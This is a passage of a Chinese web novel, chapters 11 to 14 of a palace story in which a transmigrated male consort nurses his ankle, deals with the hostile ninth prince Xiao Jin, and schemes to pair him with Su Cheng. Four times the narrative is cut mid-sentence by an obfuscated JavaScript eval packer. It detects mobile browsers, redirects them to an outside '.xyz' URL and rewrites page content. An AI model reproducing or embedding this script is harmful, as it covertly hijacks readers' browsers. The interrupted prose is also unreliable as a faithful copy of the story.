可惜伤筋动骨一百天,许太医看过之后,告诉众人:“沈妃身子弱,就算日日上药,也至少得养两个月,否则好不全……沈妃若是实在不适,牌子只能先撤了。” 撤了牌子,就代表无法侍寝了。 芸豆直叹气:“沈妃刚刚受宠,怎么就……” 茭白过来安慰他:“沈妃别难过,我们常给您揉揉,一定会早些痊愈的。” 沈玉衡:“……” 憋笑真的好难,谁懂。 这还是他第一次这么喜欢原主这具虚弱的身子。 唉,早知道崴了脚就能撤牌子,他早就去崴了! 不过…… 都说事不过三,沈玉衡已经两次逃过侍寝,第三次……还能这么顺利吗? 沈玉衡心里哆嗦了一下,不敢细想。 第二次侍寝能顺利糊弄过去,已经超乎他想象了。 昨天他说害怕,还以为萧槐会发怒,没想到他却真放过了他。 老实说,萧槐这样说停就停,比很多现代人都强多了。 可惜他不喜欢萧槐这样的。 首先就是他们年龄差的太大,不合适。 而且,萧槐不止他一个妃子,还有一后宫的男男女女。 古人被封建思维所困,觉得一夫多妻无伤大雅,但沈玉衡可受不了。 - 之后几日,圣上并未再翻过谁的牌子,而是命人开始操办十六皇子的丧事。 十六皇子走的突然,又迟迟未能找到刺客,皇家脸上无光,丧事办的也草率。 萧槐直接下令免了沈玉衡的礼,让他留在清濯殿好好休息,也不必和其他人一样穿白戴孝。 沈玉衡想起什么,叫住周源。 他给了周源一袋沉甸甸的银子,嘱咐他:“你托几个小太监从旁照顾一下苏才人,免得他被欺负了。” 原书里,十六皇子遇刺是两个月后的事,那个时候,他与萧烬也已经相处了两个月了。 虽然萧烬并未对苏澄产生任何好感或亲近,但是当苏澄在丧礼上受到其他男妃欺凌时,他还是出手相助了。 现在没有萧烬帮助,苏澄要是被欺负了,以他的性格,可能就这么默默承受着了。 在认识萧烬之前,苏澄可不能有什么闪失。 沈玉衡望天:“我感觉我好像在磕一对冷门拉郎CP,想要让他俩在一起,首先要想办法让他们认识一下……” 系统哽住:【宿主,我们无冤无仇,你为何要揭人伤疤……】 谁还没磕过几对冷门CP呢…… 沈玉衡正感慨,周源又回来了,有点犹豫地告诉他:“主子,今早孟大人又寄来几封书信……” 沈玉衡差点忘了,原主还有个前任。 看来原主也不是完全被辜负,这个前任被分手后,竟然还对他依依不舍的? 可惜,沈玉衡的立场很尴尬,绝对不能和这个孟谦有任何一丁点的瓜葛。 孟谦不仅是朝中权臣,还是二皇子一党的人,如今夺嫡之争愈演愈烈,朝中局势动荡,沈玉衡万不能给沈家添乱。 然而,周源有点为难地告诉他:“主子,孟大人说,若是主子不看他的信,京中再无一家酒家会让沈听澜进门。” 沈听澜是沈家的二哥,在朝中任一闲职,平日里最爱喝酒泡青楼,但要他在酒和女人中间选一个出来,他肯定还是会选酒。 要他不喝酒,简直要了沈听澜的命。 沈玉衡的这两个亲哥,一文一武,都不是什么善茬,他谁也不想得罪。 无奈,沈玉衡只能扶额:“那你放下,我有空看看。再派人给他带个口信,别让他为难了二哥。” 至于信中内容,他什么时候会看,就另说了。 - 沈玉衡养伤的这段时间,不用提心吊胆担心侍不侍寝; 唯一一件事,就是要照顾萧烬。 只是萧烬这死孩子真的太太太不好相处了。 要不是沈玉衡以“再不听话就去和你爹撒泼告状”为由威胁萧烬,恐怕他连萧烬的影子都看不到。 他头热的毛病刚好,又老是夜不归宿,出去吹风,迟早得落下什么毛病。 至于萧烬为什么夜不归宿,沈玉衡也不敢细想。 他对自己这个名义上的儿子,只有一个要求—— 只要不是杀人放火,干什么都行。 一晚,沈玉衡留在清濯殿等了许久,等到窗外那一轮月光都升入云霄,才终于听到门口传来吱呀的推门声。 下一秒,少年闪身进了房间。 仅仅是极轻的一下动静,若是平常人,肯定会误以为是风吹开的门扉。 他肩头满是夜晚的风霜气息,吸入肺里仿佛都会被冻伤,隐隐还有一丝铁锈的味道。 “回来了?” 回应他的,是一声萧烬无比熟悉,透着点懒散倦意的音色。 少年的余光轻瞥向床榻上那一抹身影,像是被刺伤似的移开了眼。 沈玉衡看他又是一副要躲着自己的模样,都有点郁闷了。 他早就不像原主那样,抽着鞭子虐待他了,怎么萧烬还是对他避之不及的样子? 他就这么不招人亲近吗? 沈玉衡感觉自己这个前·金牌幼师的自尊心深受打击。 萧烬看也没看他一眼,重重纱帘外的少年身影,默默走向那张窄小的床榻。 “等等。” 沈玉衡轻声唤他过来:“我有事要求九殿下帮忙,可否上前来说话?” 他哄孩子似的软绵绵的语气,却又像撒娇般轻飘飘的。 纱帘那头的身影顿了一顿,片刻后,竟真的走了过来。 沈玉衡松一口气,看来这个哄孩子专用声线适用于全年龄段。 被唤来的萧烬,默默走至他床前。 沈玉衡并不知道他刚刚去了哪儿,又做了什么,只看见他眼底浓浓一片阴翳,仿佛是一潭死水。 沈玉衡打了个哆嗦,有一瞬间打退堂鼓,但又鼓起精神,轻轻撩开了自己的长衫下摆。 萧烬怔了一下,身子猛地向后倾了倾。 月白色的长衫下,露出男子的小腿曲线,修长却又带着一丝柔软的弯。 他的双目陷入那抹浅浅的弯,又猛地抽离出去。 沈玉衡指指自己的脚踝:“今日宫里设宴,芸豆茭白她们都被叫去伺候了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧烬的目光落在他后颈,已经在想象里杀死过沈玉衡无数次。 片刻的安静后,沈玉衡感觉自己小腿肚那儿逐渐传来异样的抚摸感。 少年的手,冻疮愈合却留下了粗糙的痕迹,像是蛇鳞一点点爬过,缠绕的越来越紧。 沈玉衡下意识觉得不安,可是那只手却又没做什么不安分或不好的事。 只是带着药膏,一遍遍地涂过伤处的位置。 不知道过了多久,煎熬的时间终于过去。 沈玉衡累的几乎说不出话,他回头看了一眼,萧烬却低着头,看不清表情。 “……就……结束了?” 沈玉衡有点失望的语气,可惜地看了看萧烬。 药膏被重重砸在地上摔了个粉碎,萧烬无言地后撤几步,踩在一地的书信上。 他眼里射/出熊熊燃烧的恨意,像是随时会扑上去掐死沈玉衡似的。 但到头来落荒而逃的却是他自己。 沈玉衡懵懵的望着他的背影,有点无辜地揉了揉自己的小腿。 疼也疼完了,伤情却没好转也没加重,总感觉……白疼了? 真是血亏!! 12.第 12 章 12 这几日,萧烬更拒人千里了。 沈玉衡也不知道自己是哪里得罪了他,想要留他一起看看书,吃顿晚膳,都难如登天。 萧烬永远不说自己去哪儿,丝毫没有和沈玉衡交流的意思,只留给他一个寒气森森的背影。 连续三天抓不到萧烬的人影,沈玉衡已经满心的怨气。 他问系统:“我请问我到底怎么救赎他,这会不会难度太高了一点……?!” 正常的救赎文,主角都会给黑化前的大BOSS洗衣做饭带娃一条龙。 萧烬倒好。 任何事都不许沈玉衡干涉,主打一个独立自主。 ……怎么这死孩子就这么难相处呢?? 沈玉衡越想越流汗。 要是横竖都是死,他宁可选车祸也不选五马分尸啊! 系统赶紧安慰他:【宿主你冷静,你可是救赎高手啊!】 不过,系统也有点纳闷。 【那啥、我休眠的时候,宿主你和萧烬真的没发生什么?】 沈玉衡委屈巴巴:“能发生什么?” 让他上个药,弄得又疼又惨不说,还砸了药盒,把书信笔墨扔的一地狼藉。 系统发出一声疑惑的“滋咔”。 那为什么……萧烬每次看见沈玉衡,都一副咬牙切齿,恨意深切的模样? 如果只是普通的无视,应该不是这个反应啊? - 几天后,终于到了十六皇子的丧礼。 丧礼布置的十分朴素简陋,并无什么人在意。钦天监择了日子,再由礼部派人给各宫送了孝衣丧服,请嫔妃和皇子公主们来参加丧礼。 清濯殿这儿,也收到了萧烬的那套衣物。 这还是沈玉衡第一次看萧烬穿白,少年阴冷深邃的五官搭这一身纯白素色,周身那股凶恶的煞气竟然也淡了几分。 孝衣穿着讲究多,沈玉衡想来帮帮他,却被萧烬轻一挥手,丝毫不给情面地拒绝了。 “不必。”他唇角一丝自嘲的弧度:“又不是第一次穿了。” 沈玉衡:“……” 如果他是救赎天才,那萧烬一定是聊天鬼才。 沈玉衡垂眸思忖片刻,忽然沉下一口气,问他:“十六皇子出事的那天,你一身血,到底是怎么回事……?” 系统尖叫:【宿主!宿主?!你疯了?!!】 这这这是可以问的吗?!! 萧烬本人也微微抬眸,带着一丝讶异凝望着眼前的人。 他没想到沈玉衡会有胆量问他这个问题。 那日,萧棋的刺客潜入后宫,暗杀十六皇子,却不知道萧烬也在候着他们。 遭遇突袭,萧棋的刺客虽趁乱杀了十六皇子,完成了身负的任务,却折损了十数个得力干将,代价惨烈。 萧棋事后勃然大怒——皇子不被允许养私兵,优秀的刺客或死士来之不易,这次意外无疑重创了他。 可惜萧棋到头来也没查出,当日杀尽他手下的刺客,究竟是谁。 十六皇子无母家依靠,除了萧棋,无人会调查这件事其中的内情。 沈玉衡明知危险,却要冒死问这一句,为什么? 萧烬忽然冷冷一笑,眼中仿佛又映出了那日血色一片的光。 “是想告诉父皇吗?” 少年突然捏住沈玉衡的下巴,指尖不经意划过沈玉衡的唇角。 那里比他枕过的最软的枕榻还要柔软,轻轻一按,血红的颜色就会漫上来。 沈玉衡果然没变——他只想要用萧烬的命,去换取他父皇的那一点可怜的宠爱。 可沈玉衡毕竟和他的生母不同。 他的确得到了天子的宠爱。 父皇很少这么宠爱一个妃子,沈玉衡出身又好,自然会比他的生母尊贵。死后,他说不定会被葬在皇陵。 他到死都是父皇的人。 …… 脸颊下颌传来的诡异触感,让沈玉衡心里怪怪的,禁不住打了个寒颤。 是他错觉吗?怎么屋子里这么冷……? 沈玉衡一边试图扯开萧烬的手,一边说:“和圣上无关,我只是……有点担心你。” 沈玉衡的眼睫垂下,盯着萧烬纯白孝衣下,少年眼眶发红,呼吸急促,像是极力克制着什么汹涌的情绪。 他努力让自己的声色坚定,可信。 “我好歹也算是你的母妃……” - 芸豆和茭白在寝殿外扫落叶时,周围几个小宫女一边偷闲,一边唠着闲话。 “如今沈妃得宠,也该搬一个更大的宫殿了吧?” “就是就是,清濯殿虽然大,但沈妃总是和九殿下共处一室,像什么样子?” “九殿下不过比沈妃小了两岁,万一觊觎沈妃貌美……” 芸豆急道 :“你们胡说什么呢?!” “你急什么?九殿下都没急呢?” 小宫女们嘻嘻哈哈地笑闹起来,芸豆气得不行,正想和他们理论。 “啊!”芸豆身后,茭白惊呼一声。 众人一回头,这才看到寝殿门扉刚刚摔上,萧烬从里面快步走出,他明明穿着皓白的素色丧服,一双眼睛却入了魔般恐怖。 偏偏今日又是十六皇子的丧礼,几个小宫女更是害怕,顷刻间脸色煞白,谁也不敢说话。 芸豆看了看台阶那头的寝殿,莫名觉得不安。 “我去看看沈妃。” 茭白也和她一起跑了过去。 年纪小的宫女总喜欢拿沈妃和九殿下同住这件事开玩笑,只有她们俩一直担心沈妃出事。 沈妃从前那样对待萧烬……换做任何人,都免不了恨。 更何况是如今恢复尊贵的一国皇子。 她们赶到寝殿前,打开被萧烬摔上的门,一下子发出尖锐的惊呼。 “沈妃?!!” 缩在地上的沈玉衡虚虚地伸出手。 芸豆和茭白赶紧把沈玉衡扶起来,他现在腿脚受过伤,摔了就很难自己站起来。 “沈妃可有哪里伤着?”芸豆焦急地检查着沈玉衡的身子:“是九殿下……?” 沈玉衡不置可否,只说自己没事,歇一会就行。 芸豆和茭白根本歇不住,她们急得不行,一把沈玉衡搀回床上,就赶紧出门去叫许太医。 她们朝着太医院的方向快步跑了一阵子,气喘吁吁地停下来,对视一眼。 “……怎么办?” “还能怎么办?” 她们是真的慌了,自家三少爷幼时大病过一场,老爷心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14393064|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼,之后便一直让他养尊处优,娇惯着长大。 沈妃哪里有受过这种苦、这种委屈? “要不,我们写封信回去吧?” 老爷少爷虽然和沈妃有过矛盾,但出了这种事,绝对不会坐视不管的。 - 沈玉衡脑内回荡着系统的暴风哭泣。 【呜呜呜呜宿主你没事就好呜呜呜呜……我还以为救赎任务现在就要失败了……】 沈玉衡安慰他:“我这不是还活着吗?” 【可是真的太恐怖了……呜呜呜呜我还以为……】 确实挺恐怖的。 沈玉衡也不知道萧烬发的什么疯。 当时……他一提“母妃”二字,突然被萧烬猛地推倒,连反应的时间都没有,脖颈就已经覆上了一双手。 他当时浑身颤抖了,猛地闭紧眼。 他以为萧烬要杀他。 可是那双手迟迟没有动作,只是按住他,用手心紧紧包裹住他的每一寸呼吸。 预想中的可怕窒息感并没有降临。 他勉强睁开一条眼缝,只看见少年跪坐在自己身上,背着光,五官都被阴翳所笼罩。 沈玉衡能够隐约看清的,只有萧烬目眦欲裂的一双眼,和他脸上升起的……那股异样的潮红。 系统并没有看见这些细节,沈玉衡倒是看见了,可是他并不知道这代表了什么。 ……总不能是变态的xp吧? 许太医赶来后,帮沈玉衡看了看伤势。 原主的身子弱,这么一撞一碰,身上留下好几处淤青。 当然最严重的,还是要属脖颈外的这一圈…… “还好现在撤了牌子……否则圣上要是看到,肯定会怪罪下来的。”许太医叹一口气,提醒他:“沈妃平日里若是要见人,且披一件风领,免得惹上非议。” 沈玉衡点点头。 许太医开好药便离开了,留他在宫里休息了半日。 趁休息的时间,沈玉衡把家书又写了几遍,还是没有定稿。 原主虽然被家里宠着,但脾气实在太臭,入宫前和家里的父兄大吵一架,头也不回地进了宫。 入宫之后,直接就和家里断了联系,连家书也不回一封。 现在,要想和家人和好,还不被看出端倪,也是个难题。 他正对着空白的信笺发愁,周源忽然小跑着赶过来,一副很着急的样子。 “主子,和你说的一样,十六殿下的丧礼上果然出了事!” 周源向他汇报的内容,和沈玉衡在原书里知道的,基本一致。 在十六殿下的丧礼上,苏澄因为不小心错了礼节,遭到瑶妃的冷嘲热讽,百般刁难,甚至还受了体罚。 瑶妃是圣上最最宠爱的一个妃子,在后宫中的权力甚至大过皇后,想要处理一个小小的男妃,根本不在话下。 沈玉衡问他:“应该都解决了吧?” 沈玉衡早早就派人过去,在左右偷偷照顾苏澄,他应该不至于被欺负的太惨。 “苏才人是没什么事,只是……” 周源犹豫片刻,在沈玉衡的催促下,终于开口。 “九殿下当时也在……” “为了苏才人,九殿下动手伤了瑶妃,现在已被带去冷宫受刑了……” 13.第 13 章 13 沈玉衡立刻跟随周源出门,朝冷宫的方向赶去。 瑶妃是今年才入宫的妃子,刚进宫便很是受宠。 因为四处树敌,厌恶她的嫔妃也相当多,然而瑶妃母家势力不小,前朝后宫里应外合,无一人敢对她不敬。 众星捧月的宠妃,被萧烬所伤,自然不会轻易放过他。 只是…… 原书里的萧烬和苏澄顶多是维护了几句苏澄,如今却出手伤人? 沈玉衡隐隐有些奇怪的感觉。 他以为萧烬应当还不认识苏澄,可是现在看来,两人或许早已经认识了……? 他不愿乱想,脚步越走越快。 时间已经快要入夜,冷宫的方向已经愈来愈近,周围的寒气也渐渐浓重起来。 赤红宫墙夹住的宫道空无人烟,连落叶都积了一段时间,无人打扫了。 周围空置的宫殿大门紧锁,都落了厚厚一层灰。 萧槐信佛,不喜生杀,原本的刑司通通关了,但想要用刑的人还在。 刚一靠近冷宫,沈玉衡就听见里面传来挥鞭的声音。 他和周源顿了顿脚步。 那鞭声又快又急,仿佛已经能看见少年皮开肉绽,露出森森白骨的模样,可是萧烬的声音却丝毫没有漏出一点。 沈玉衡顺着声音赶到冷宫前,想闯进去,却被一个小太监拦了下来。 定睛一看,对方居然是当初和周源交换,抛弃清濯殿的太监小林子。 他如今跟着瑶妃,趾高气昂,看到从前的主子,也丝毫没有让步的意思。 周源赶紧拿出打点用的银子。 小林子看也不看,横眉吐气,厉声道:“瑶妃命奴才看守冷宫,闲杂人等不得入内。” 沈玉衡嗤笑:“我知道你不想得罪瑶妃,可是得罪沈家,你就跑得了吗?” 小林子安静下来,盯着沈玉衡打量。 瑶妃原名顾兰,是京城顾家的长女。 顾家两个武官虽然军功卓越,风头正旺,但要真论及地位……仍是比不上沈家那两位将军。 不过,他听说沈家虽然宠爱沈玉衡,但因为他性格顽劣,进宫后还断了与家里的联系,几乎是和沈家没关系了。 纸老虎而已,有何怕的? 小林子权衡利弊,还是决定不让步。 “奴才只是依瑶妃的话办事,要是沈家怪罪,也与奴才无关。” 沈玉衡不可置信地蹙起眉,就在小太监阻拦时,耳边的鞭声阵阵,一刻也没有停歇过。 就在两方僵持不下时,身后忽然传来一个焦急的声音:“沈妃?” 声音的主人明明已经尽可能大声说话,可他的嗓音天生细弱,加之刚刚跑了一阵,气喘吁吁,听的人心里痒痒的。 沈玉衡回头,果然看见苏澄站在身后。 他跑得急,喘的辛苦,但一听见鞭声,不顾身体跑上前,满眼写着焦急:“九殿下可在里面?” 小林子站出来,又把那句“闲杂人等不得入内”说了一遍。 “你是林公公吧?”苏澄拉住他,恳求的语气:“我记得你,当初你在膳房做事的时候,你做的那道银耳羹,宫里许多妃子都很中意……” 苏澄眼角通红,拉着他的双臂,忽然就跪了下来。 “林公公,算我求您了,放我们进去吧。” 沈玉衡吓了一跳,小林子与周源也没想到他会跪,无比震惊地看着他。 小林子松不开他拉住自己的手,一时也急了:“苏才人,你……” 周源见此,趁机上前,悄悄把那袋沉甸甸的银子塞到了他的怀中。 “林公公,你就行个方便,让我们进去看一眼,可好?” 小林子看着流泪不止的苏澄,掂了掂银子,闷哼着点头。 “先说好,只能一会,马上出来。” “瑶妃让我们关他七日,七日不到,是不会放人的。” 圣上不管,外人不知,萧九这个无依无靠的废物皇子,瑶妃只关他七日,已经是宽容至极。 “多谢林公公!” 苏澄扶着墙,回头:“沈妃,咱们快进去吧……” “我不进去。” 苏澄和周源都是一愣。 “周源,把许太医的药拿出来。” 周源取出沈玉衡带过来的那包伤药,这原本是许太医开给他的,今日走的急,他只能把自己那份拿过来。 苏澄一脸惶恐,不敢接下,沈玉衡劝了好几遍,他才终于小心翼翼地接下。 他来时两手空空,而沈玉衡拿来的药一看就是上品,他松了口气。 连沈玉衡都觉得,这样的苏澄很是可爱,招人心疼。 他转身:“周源,走吧。” “……是。” 路上,他问系统:“苏澄和萧烬不就是典型的温柔受和暴君攻吗?为什么还救赎不了萧烬?” 不会是这个世界有什么bug吧? 温柔,弱小,楚楚可怜,还对萧烬施以善意,简直比沈玉衡的炮灰剧本好太多了不是吗? 系统发出一声迷茫的“滋咔”,也回答不上来。 明明,他们按照正常剧本运行了无数次,萧烬没有一次选择了苏澄。 沈玉衡耸肩。 无所谓原因。只要这一次,他撮合萧烬和苏澄达成he结局的话,他也就能功成身退了。 拐入另一条宫道前,他回头看了一眼。 苏澄已经不在原处。 - 漆黑一片的房间里,鞭声接连不断,行刑者仿佛感知不到疲惫一样,不断不断地挥舞着铁制的硬鞭。 彼时,一道黑影闪入室内。 他叫成霄,是个死士。 成霄的视线飞速扫向室内,最终停在了屋中/央的少年皇子身上。 萧烬此时正斜倚在冷宫偏殿中/央的一张残破木椅上,他一身素白色丧服,衣袍边缘还沾着些许来历不明的血红颜色,表情漠然如一潭死水,却又透着几分贵气。 他的存在,将原本就阴冷诡异的冷宫更衬得寒气凛凛,恍若冰窟。 而令这一幕更显得诡异的是,他面前站着一个手臂折断的小太监,他歪曲着身体,不断挥舞铁鞭,抽打墙壁。 而他旁边,身着华服,嫔妃模样的女子正跪在地上,不断用头撞着墙,血流如注也不停下。 不用想就知道,他们的大脑已经被蛊虫全部侵蚀。只剩一泡黑乎乎的汤水了。 成霄匆匆收回目光,不敢细看。 “殿下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而瑶妃突然也恍然回了神,看见面前七窍流血而死的小太监和旁边漠然坐着的萧烬,她惊恐地摔倒在地。 “来人!来人——萧九杀人了——” 她哭叫着想要爬出殿门口,萧烬眉头微蹙,几秒之后,殿内又恢复了死寂。 如果沈玉衡看见这两个被蛊虫侵蚀的废人,是否也会哭叫着,害怕他。 可惜萧烬并不知道这个问题的答案。 这一晚,他难得耐心,等了很久……却依旧没有第二个人,踏入冷宫的门槛。 成霄小心翼翼地过来禀报,清濯殿的灯已经熄了。 萧烬唇边弯起一抹笑,连成霄这样出生入死的死士都吓得不轻,赶忙退了下去。 “母妃……母妃……” 他嘲讽般,一遍遍念着这两个字,却又渐渐被这两个字拉扯进了一个漩涡。 萧烬想将沈玉衡彻底踩入无边的恨意里,却又一度分不清,那个在他头热时,一遍遍喊着“母妃在”的声音,究竟出自谁之口。 14.第 14 章 14 翌日。 沈玉衡晨起用过早膳,便开始为自己换药。 昨日的药已经凝成了一层浅色的膜,他撩起长衫,清洗掉那层印记,再重新上药。 侍女们虽然能够代劳,但毕竟碍于性别,沈玉衡心里还是有点别扭。 要是萧烬在,还能让他再练练上药的手法。 不过药得换小盒的,免得又被他糟蹋了好东西…… 想着,脑海里传来系统担忧的声音:【宿主,你把萧烬丢在那儿,会不会出事啊?】 “没事,有苏澄在……” 嘴上说着没事,其实沈玉衡也慌。 “我听许太医说,苏澄回来以后,还去太医院求药了,萧烬应该不会有事……” 屋外突然有人叩门 ,传来周源的声音:“主子。” 沈玉衡迅速上好药,重新披好衣服,让他进来。 周源低着身子,快步进屋。 他进来与沈玉衡附耳说了几句,后者的眉头突然就皱了起来。 “瑶妃疯了?为什么?” 周源小声告诉他:“听说……是九殿下在冷宫中的样子太过可怖,瑶妃受了惊吓,回去后便疯了。” 听说这话,沈玉衡的心一下凉了半截。 能够把瑶妃都吓出疯病,他不敢想象那是一副怎样的惨状。 周源继续道:“圣上听说这件事,今早去看过瑶妃,有龙气压着,几个老太医轮番看过,瑶妃还是不见好……恐怕是治不好了。” 瑶妃是自作自受,但萧烬…… 沈玉衡撑着墙站起来:“萧烬他现在人在哪儿?还在冷宫?” “是。”周源赶紧上前搀扶:“圣上已经让太医过去瞧了,应当不会有大碍,主子您受了伤,还是在这养病吧。” 沈玉衡如今腿脚不便,昨日听说萧烬被关,为了赶过去,伤势反而加重了几分。 许太医昨晚才看过,让他切勿再轻易走动。 疼是疼,但现在也顾不得这些了。 见他心意已决,周源也只能顺从,赶紧去让人备轿辇。 芸豆见他被周源一点点搀出去,叹气:“沈妃何必为了九殿下……” 茭白点头,苦恼道:“沈妃从前不会这样糟蹋自己的。” 虽然她们也不赞同沈妃原先纨绔刁蛮的做法,但至少在从前,沈妃从不会让自己受伤。 她们俩交头接耳:“家书已经送回去了,我们且等消息吧……” 另一边,沈玉衡刚上轿辇要走,却听见后面传来一声令人不安的,熟悉的太监音—— “沈妃,留步。” 他回过头,果然看见了御前太监方青。 方公公执着那柄拂尘,轻飘飘地上前,堆笑道:“恭喜沈妃,圣上请您去一趟养心殿。” 沈玉衡怔住:“……为何?” 侍寝的话,现在青天白日,未免也太早了,况且他的牌子已经撤了…… “并无理由,只是圣上想见见您。” 沉默几秒,沈玉衡道:“……方公公,我现在有急事,能否替我转达陛下,我晚些再去养心殿。” “九殿下受了伤,我放心不下,想去看看。” 听到沈玉衡这么说,包括周源在内的宫人们,皆是吃了一惊。 圣上再昏庸,也是贵为天下至尊的皇帝。 沈妃竟是要为了萧九,得罪圣上吗? 方公公皱巴巴的眼睛睁开一条缝,眼神骤然冷了几分。 他道:“圣上已经命人去看过九殿下的伤,太医说并无大碍,只需静养几天便好。” “况且,若因为九殿下的事情耽误了圣上这边,圣上万一迁怒九殿下……” “还望沈妃三思。” 说到这个份上,沈玉衡知道八成是跑不掉了。 好在知道了萧烬伤势不重,有太医照顾,他总算也能放心一些。 “走吧。”沈玉衡闭了闭眼,心一横:“去养心殿。” - 冷宫。 残破的屋檐长年失修,一阵风吹来,四面都响起萧瑟刺耳的回音。 苏澄好几次试图溜进来救萧烬,却都遇到各种各样的阻碍。 他还是不愿无功而返,在墙边轻轻呼唤萧烬的名字,想要为他再送些吃食和伤药进来。 即便萧烬是为了救他,才会被瑶妃押到冷宫管教,但苏澄已经如此拼命,连成霄这等死士看了,也不免动容。 他站在阴翳里,默默看着苏澄在冷风里哈气搓手,被冻得瑟瑟发抖,像风雪里颤抖的花。 成霄也站在风里,片刻后,他返回冷宫,斗胆跪在萧烬身后:“殿下,苏才人他还在等您。” 萧烬没有说话,成霄自知逾越,退了下去。 冷宫外,苏澄已经离开。 初冬的风已经冷的像刀子似的,苏澄身上依旧穿的单薄。 内务府那儿供给他宫里的炭火和衣服都差,漫漫长冬,日子只会一日比一日难。 苏澄回到冷飕飕的寝殿里,桌上还放着他为沈妃织了一半的香云纱手捂。 为了报家宴当日搭救之恩,苏澄想在寒冬之前,为沈妃送出这副手捂; 还未织好,却又被萧烬所救,再欠下一桩恩情。 萧九殿下…… 苏澄坐在空荡荡的宫殿里,遥想着那张与圣上有几分神似的脸。 他心下思绪万千,不知不觉出了神,这时,屋外突然传来叩门的动静。 苏澄吓得险些碰翻手边针线,来不及收拾,就急急忙忙出了门。 门外是一个他没见过的太监,个子意外高大,帽子却戴歪了。 这陌生的太监长得有些凶,苏澄心下警惕,却看见他抬手奉上了一个精致的盒子。 盒中装着的,是一个雕刻细致,纹样特别的手炉。 苏澄不敢轻易收东西,推辞几番,那太监却告诉他:“这是九殿下送来的,奴才不敢拿回去。” 苏澄愣了愣:“可是九殿下不是还在冷宫……” “九殿下无恙,已离开冷宫,路上发觉冬日已至,特让我送一副手炉来。” 难怪他今日怎么求见,冷宫里都无一点回应。 苏澄微笑,收下手炉,面上多了几分红晕:“多谢九殿下。” 凶脸的太监一时怔愣,他正欲说什么,突然听见周围传来其他宫人的声音。 他正了正帽子,快步离开此地。 成霄知道,他擅自借萧烬之名送礼,必定受罚。 但萧烬此时的心思,全然不在这里,想来也不会罚的太重。 他想到,少年皇子此时一心想着的人竟是那个纨绔男妃,不禁叹息摇头。 成霄跟了萧烬那么多年,见过他手起刀落杀过无数人,却从未见过他如此深切地恨过谁。 昨夜,萧烬就那么坐在冷宫里,等了整整一夜。 在得知沈玉衡清晨便移驾去了养心殿后,他甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420153|152992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至失手杀了手边的两个太医。 满屋满墙的鲜血气息,至今久久不散。 - 养心殿内。 药草气息的香雾仿佛已经沁入了这里的每一件摆设,无论走在哪里,都有那股淡淡的异香追随脚步。 御前太监方公公将沈玉衡送至寝殿,幽幽地退了下去。 沈玉衡等了一会,见面前无声,才小心翼翼地抬头。 萧槐在金碧辉煌的龙床上,纱帘垂下来,令他消瘦的面孔在香雾里更加模糊。 几日不见,萧槐周身那股可怖阴森的气息似乎弱了一分。 他身上,活人的气息也少了一分。 过了许久,萧槐才终于抬起手臂,招了招手,唤他过来。 沈玉衡照他说的坐在床头,让萧槐将头轻轻搭在他的膝上。 即便身体因为紧张和抵触僵硬的不行,但沈玉衡还是能明显感觉到老皇帝比前些日子虚弱了,脸色也越发苍白。 至于理由,恐怕和十六皇子的死,和骤然疯了的瑶妃有关。 沈玉衡对萧槐并无任何爱恋之情。 可是想到几日前,萧槐还像父亲般轻声哄他入睡,沈玉衡心里莫名有点不好受。 突然,萧槐弓起身,揽着沈玉衡剧烈咳嗽起来。 一片刺眼的血花倏地在沈玉衡眼前炸开,沾湿了他小腹前的布料。 他一下慌了:“陛下,臣去喊太医过来……” “不必。”萧槐按住他,力气大的出奇。 男人撑着身子坐起来,如瀑的黑发全都飘拂过沈玉衡的身前。 他擦去嘴角血红,嗓音沙哑:“朕这副身子,要是继续用汤药吊着,只会越来越虚。” “可是……” “好了。” 萧槐重新躺下,一手捧起沈玉衡的脸; 像欣赏一件漂亮的珠宝,左右端详着看了看他。 “朕只要看着你们年轻漂亮,心里也就舒服多了。” 沈玉衡有点别扭,但还是没有抗拒,容他这么捏着自己的脸。 萧槐身上只一件太极图样式的白色道袍,唇边残留鲜红印记,香雾之中,仿佛水面下忽隐忽现的红额白鲤。 他手上沾着的血,也沾在了沈玉衡的脸颊上,将那淡淡的血腥也染上了他的面颊。 萧槐忽然问:“沈妃觉得,棋儿和老九,谁更适合坐朕的龙椅?” 沈玉衡一愣,放松的神经立刻又绷紧。 来了! 是送命题! 沈玉衡憋了半天,终于是小心谨慎地告诉他:“九殿下年纪尚小,不能担当大任,二殿下自然合适一些。不过,臣也听说,二殿下平日性格张扬,似乎树敌颇多……” 男人唇角上扬:“沈妃倒是知道的清楚。” 